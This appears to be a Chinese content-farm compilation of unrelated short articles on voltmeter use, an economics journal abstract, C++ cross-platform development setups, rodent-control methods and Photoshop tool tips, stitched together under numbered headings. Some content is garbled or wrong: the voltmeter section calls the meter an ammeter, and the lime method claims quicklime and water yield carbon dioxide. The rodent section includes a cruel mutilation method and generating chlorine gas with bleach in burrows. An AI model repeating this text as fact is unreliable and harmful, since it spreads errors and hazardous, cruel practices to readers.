使用前做到“两看清”—看清量程和分度值。实验室常用的电压表有“15V”和“3V”两个量程。量程为“15V”时,刻度盘上的每个大格表示5V，每个小格表示0.5V(即最小分度值是0.5V);量程为“3V”时,刻度盘上的每个大格表示lV，每个小格表示0.lV(即最小分度值是0.1V)。
使用电压表时应注意：
(1)电压表要与被测电路并联;
(2)要使电压表正接线柱靠近电源正极，负接线柱靠近电源负极;
(3)被测电压值不能超过电压表量程，实验室用的电流表有两个量程，分别是0-3V和 0-15V
篇9：经济精神:一种理论、方法和工具
经济精神:一种理论、方法和工具
经济精神是人类在自然界中求生存、求发展的必然产物,它是经济活动的`应有之义.作为一种理论,其意义在于任何经济活动、经济制度都需要自身气质上的必要的认同;作为一种方法,它实现了经济活动从物本经济向人本经济方法论研究的转变;作为一种工具,对于我国当下的经济制度转型所面临的诸多问题,提供了有效的经济认识和分析工具.
作 者：程文晋 Cheng Wenjin 作者单位：西安交通大学经济与金融学院,陕西,西安,710049 刊 名：中州学刊 PKU CSSCI英文刊名：ACADEMIC JOURNAL OF ZHONGZHOU 年，卷(期)： “”(4) 分类号：B82-053 关键词：经济精神 理论 方法 工具篇10：C++跨平台开发方法/工具
1. cygwin + vc
vc当然用于来开发/调试windows程序的部分
cygwin是在windows平台模拟linux的工具，核心是cygwin1.dll， cygwin带的大部分工具，比如gcc/gdb都depend on这个dll，
从cygwin.com上下载setup.exe,然后从网上下载安装，比较慢，我花了大概一个下午才装好，记住下gcc/g++（默认不安装)。
然后运行cygwin,使用mount命令把工程目录mount到cygwin的环境中去。
自己写make file吧，然后make就可以了。
2. cygwin + CBX
CBX:C++ BuilderX跨平台开发的好东西。个人版的免费的,你可以从Borland网站上拿到。缺点是没有代码自动提示的功能，非常的不满。不过CBX的好处是可以自定义工具，可以将cygwin直接嵌到集成环境中去。我在borland上找到一个这个配置方法，不过有些错误。原文: cc.borland.com/Item.aspx?id=21245
我修改了一下，www.cppblog.com/Files/sandy/BCBX.rar ，
解包后覆盖CBX的安装目录就可以了。这样你就可以直接使用CBX build cygwin版的可执行文件了。你甚至还可以在C++ BuilderX直接使用gdb来调试。(PS:最新版的cygwin 使用gdb来调试有bug，参见www.cygwin.com/ml/cygwin-patches/-q1/msg00039.html）。具体使用方法请看下载的文件中的 BCBX CygWin.html .
3. VMWare + smbmount + CBX
这种方法不使用cygwin,直接使用VMWare制作一个linux的image，然后共享出来你在windows 上面的工程目录，在linux上面使用smbmount直接mount目录过来。这里用了CBX可以配置多个平台的功能，就是说同样一个工程，可以在linux和windows都编译，当然linux/windows都必须安装CBX才行。这样不用自己写Makefile了。调试的话在各自的平台的CBX上面去调试。非常方便。推荐。
4.VMWare + smbmount + vc + gcc/make
这种方法是仍然使用vc来开发windows版本的，然后自己写Makefile到linux上面使用gcc/make来编译。比较简单。缺点是linux调试不是很方便(使用gdb)，还要自己写Makefile.
来自：www.cppblog.com/sandy/archive/2006/03/24/4544.html
篇11：灭老鼠的工具和方法有哪些
灭老鼠有效方法
1、环境灭鼠：老鼠需要水、食物以及隐蔽的栖息条件，才能生存和繁殖。因此，创造一个不适宜其生存的环境，就能使一个地方的鼠量大大下降，并能使灭鼠成果容易得到巩固。所以我们首先要搞好环境卫生、清除住宅周围的杂草、随意堆放的物品，经常清扫室内外卫生，各种用具杂物收拾整齐，衣箱、衣柜以及书籍、鞋帽等要经常检查，不使鼠类营巢。 断绝老鼠的食物：鼠的食物不仅包括人的食物，还包括饲料、垃圾、食品行业的下脚料、粪便等，这些东西要存放在加盖的而且没有缝隙的容器内，使老鼠得不到食物而被动地去吃投放的毒饵，以达到消灭老鼠的目的。 2、物理学灭鼠法：又称器械灭鼠法，应用较久，应用方式也较多。它不仅包括各种专用捕鼠器，如鼠夹、鼠笼，也包括压、卡、关、夹、翻、灌、挖、粘和枪击等。物理学灭鼠也讲究一定的的科学技术，如安放鼠笼(夹)要放在鼠洞口，应与鼠洞有一定距离，有时用些伪装，可以提高捕杀率;鼠笼上的诱饵要新鲜，应是鼠类爱吃的食物。一般第一个晚上老鼠不易上笼因有“新物反应”，二、三天后上笼率会提高。
3、化学灭鼠法：又称药物灭鼠法，是应用最广、效果最好的一种灭鼠方法。药物灭鼠又可分为肠毒物灭鼠和熏蒸灭鼠。作为灭鼠所用的肠道灭鼠药，主要是有机化合物，其次是无机化合物和野生植物及其提取物。胃肠道灭鼠药要求对鼠有较好的适口性，不会拒食，毒力适当。由它为主制成各种毒饵，效果好，用法简便，用量大。其次是毒水、毒粉、毒胶、毒沫等。熏蒸灭鼠，如磷化铝、氯化苦可用于仓库、轮船熏蒸灭鼠。
4、生物学灭鼠法：包括两个方面：一是利用天敌灭鼠，鼠类的天敌很多，主要是食肉目的小兽如黄鼬、野猫、家猫、狐等，鸟类中的猛禽如鹰、猫头鹰等，还有蛇类。因此保护这些鼠类天敌，对减少鼠害是有利的。
5、生态学灭鼠：也就是通过改良环境，包括防鼠建筑、断绝鼠粮、农田改造、搞好室内外环境卫生、清除鼠类隐蔽处所等，也就是控制、改造、破坏有利于鼠类生存的生活环境和条件，使鼠类不能在那些地方生存和繁衍。生态学灭鼠是综合鼠害防治中很重要的一环。
一些常用简单的灭鼠方法
1.水泥灭鼠：将大米、面粉、玉米粉等食物炒熟，加少许香油，然后拌上干水泥，放在老鼠经常出没处。水泥无味，老鼠嗅到食物与油香便吞吃起来，吃后水泥在肠道内吸入水份而凝固，导致便秘，胀腹而死。
2.粘胶灭鼠：无毒高分子材料研制成灭鼠粘胶，其粘胶能力很强，实验证明，在一尺见方的纸上涂上这种粘鼠胶，灭鼠效率为鼠夹捕杀的四倍。在5—40℃的条件下，有效期超过三个月。
3.桶饵灭鼠：用水桶一只，内盛三分之一的水，水上撒一层稻草，将水面全部遮蔽，再在稻草上放些老鼠爱吃的食物，然后再在水桶周围斜放几块木板，当老鼠爬上木板看到桶里有食物时，他跳将下去被活活淹死
4.油瓶诱鼠：在空酒瓶内滴入几滴香油，将瓶子放在老鼠洞口，瓶口正对洞口，老鼠闻到香油味时，就会挤进瓶内，因不能再钻出来，这样就可捕到老鼠。
5.柴油灭鼠:：将柴油与黄油、机油拌匀，涂抹在老鼠洞周围，老鼠进出时就会蹭一身油污，粘一身灰土，感觉不适，便用舌去舐，柴油随消化液进入肠胃，使消化机能失常，导致死亡。
6.空缸陷鼠： 找一口高一米左右的缸或者类似的容器(里面要光滑)，拿一张比缸口稍大一些的薄纸，轻轻地糊在缸口上，但不要糊牢，然后把炒面放在纸中央。当老鼠来偷吃炒面时，就会把纸弄破，掉入缸内，将它捕捉。
7.瓷碗扣鼠： 把针的一端用胶布贴在一个圆球上，另一端穿上一点猪肉，然后将碗边轻轻地压在球上，针要朝碗里，老鼠偷食时拉动球，就被扣在碗内。发现老鼠被扣住后，压住碗紧贴地面摇动，等老鼠尾巴从碗边上露出来后，便可抓住打死。
8.用鼠灭鼠： 捉住老鼠以后，在它的肛门里塞进一至二粒黄豆，再把肛门缝住，然后将老鼠放跑。不长时间，黄豆就会发胀，弄得老鼠难受发狂，它就会拼命地去咬其他老鼠，一天能咬死十多只，最后它自己也死去。
9.猫音灭鼠： 让猫发出强烈的颤音，将其声音录入磁带，然后在老鼠常活动的地方播放，老鼠听到猫声以后，就会到处逃窜;反复播放后，老鼠出现呆滞，食欲不振，停止繁殖以致逐渐死去。
10.鼠音驱鼠：当家里发现有老鼠的时候，从网上下载一段老鼠惨叫的录音，每当老鼠开始活动时，就放这段录音。老鼠听到这个叫声，就会自动的从您家里搬家的。
11.氨水灭鼠：用氨水1-1.5千克，灌入老鼠洞内，立即堵住洞口，其气味可将老鼠熏死。用氨水毒杀过老鼠的鼠洞，一年内老鼠不敢入内。
12.石灰灭鼠：把石灰塞进鼠洞，再灌入少量水，待洞口冒热气时，立即用湿泥土将洞口封死。生石灰和水反应产生的二氧化碳和热量可将老鼠闷死在洞内。
13.漂白粉灭鼠：发现鼠洞后，封死后洞，从前洞投入20克漂白粉，再往洞内灌入适量水，迅速封严洞口，漂白粉遇水产生氯气，会把老鼠毒死在洞内。
超市卖场灭老鼠方法
一、首先是不让老鼠进，其次是不让老鼠住 ，然后是不让老鼠吃。即：
1、封堵一切老鼠可能进出的通道。
门店出入通道、安全通道、库房、操作间、配菜房的夹板、门缝，特别是一切有利于老鼠进出的环境，都要作为切断、堵塞的重点。
掌握老鼠的生活习性，分析老鼠的出入线路，除切断以上通道外，对地下的鼠洞、下水管道;地上的落地空调外机管线、外墙缝隙;空中的排气口、通风口、进入卖场的各种管道，如网线、上下水入口、电源线路、灯带等。
2、严禁老鼠栖息。如果老鼠已经进入，那么就想办法清除老鼠栖息的环境。
铲除老鼠在卖场的栖息地主要从库房、操作间、卖场死角、货架加高层上的纸箱、针织被褥等要作为经常检查的重点。
在门店每期的盘点中，要重点翻动那些库存、不动销、货架加高层上的商品和清理卖场死角;工程人员要在中央空调通风管道加装隔离钢板网，使老鼠不能在那些地方生存和繁衍，因为这些地方往往是员工容易疏忽，老鼠认为最安全之地。
3、尽量断绝老鼠在卖场的食物链。在零售业卖场内对老鼠而言可选择的食品实在是太多了，因此须尽量断绝其食物链。
加强卖场卫生管理，经常清理卖场卫生死角和垃圾(菜叶果皮及报损食品)。同时，把食物及残渣清理干净。
在卖场营业结束前应对食品能加盖的尽量加盖，能封存的尽量封存。这样，老鼠一没有住处，二没有食物，自然危害也会降到最低。
篇12：ps的画笔工具怎么使用的方法
现在回到图像上点击鼠标，并按住鼠标左键不放，就可以随心所欲的绘制你喜欢的图像了，绘制完成松开鼠标左键即可。
篇13：ps切片工具怎么使用的方法
根据之前保存的路径，找到该文件夹，然后打开就能看到一张张图片，就是根据您刚才切片的规格分开存放的
篇14：ps怎么使用移动工具的方法
ps使用移动工具的方法
打开 PS，选择移动工具。
1)自动选择
在默认情况下，移动工具的“自动选择”一项是没有勾选的。在这里，我们勾选“自动选择”，并在其后的选择框中选择“图层”。
此时，当我们点击图片上的任意一处时，立即就自动选中了该点所在的图层。下面的图示中，未点击 Hello 之前选中的是“我的世界杯”图层，点击后变成了“Hello”图层。
2)显示变换控件
默认情况下，“显示变换控件”没有勾选。此时我们在图片上单击鼠标，图片上不会出现控制框。
而当我们勾选上时，单击图片则会在相应的图层上显示控制框。
我们可以用鼠标拉动控制框的节点来调整图层的大小，也可以把鼠标移动到控制框的四个角上，并等到光标变成一个环形小箭头时旋转图层。
在旋转图层时，有一个小技巧。在控制框的中心，有一个十字型的控制点，这个就是旋转的中心点。我们可以在这个中心点上按下鼠标左键并把它随意移动。这样，我们就能创造出多种不同的旋转风格。
篇15：ps怎么使用套索工具的方法
ps中套索工具的使用方法
执行“文件”—“打开”命令，打开“风景”、“滑板”两张图片，如图：
选中“多边形套索工具”，并设置羽化值为“2”，如图：
将“滑板”选区选择出来，如图：
选择“移动”工具，将选区移动到“风景”图片上，并按“ctrl+T”键，调出变换框，将其调小，并移动到相应的位置后，去掉选区，如图：
隐藏“滑板”图层，并选择“磁性套索工具”，在波浪上画出选区，再调出“滑板”图层，按“ctrl+D”键，删除选区中的内容，并去掉选区，如图：
图像处理完毕，套索工具的使用方法即是如此。
篇16：ps裁剪工具怎么使用的方法
自定义裁剪大小。
选择裁剪工具后在需要裁剪的位置按住鼠标左键然后拖动即可，大小自己随意拖动不受限制。这种方法是最常使用的，一般适合选择图片中的某一部分或者去掉图片中的边界部分。
篇17：ps裁剪工具怎么使用的方法
预先设定裁剪后的大小。
如果我们需要一张图片，图片的大小有要求，那么我们在裁剪的时候就需要先将这个大小设定，这样裁剪出来的图片直接就可以使用了。
在菜单栏上面输入需要图片的长宽像素，注意单位。分辨率如果是电脑的话选72即可。
篇18：ps裁剪工具怎么使用的方法
查看图片的大小。
点击图像——画像大小，在弹出的面板中就可以查看大小了。
篇19：ps裁剪工具怎么使用的方法
选择工具箱中的裁剪工具。
选择裁剪工具我们经常使用的是快捷键，快捷键在Photoshop中非常使用，建议将工具箱中的所有工具的快捷方式首先背下来，这也是我开始学Photoshop的一种方法，用起来很苦的哦。
篇20：ps裁剪工具怎么使用的方法
裁剪菜单栏的使用——裁剪区域、裁剪参考线叠加。
裁剪区域是选择裁剪之后未选择部分的保留方式，可以选择删除或是隐藏，裁剪参考线我们可以使用一些辅助线来帮助我们辅助裁剪。
文档为doc格式
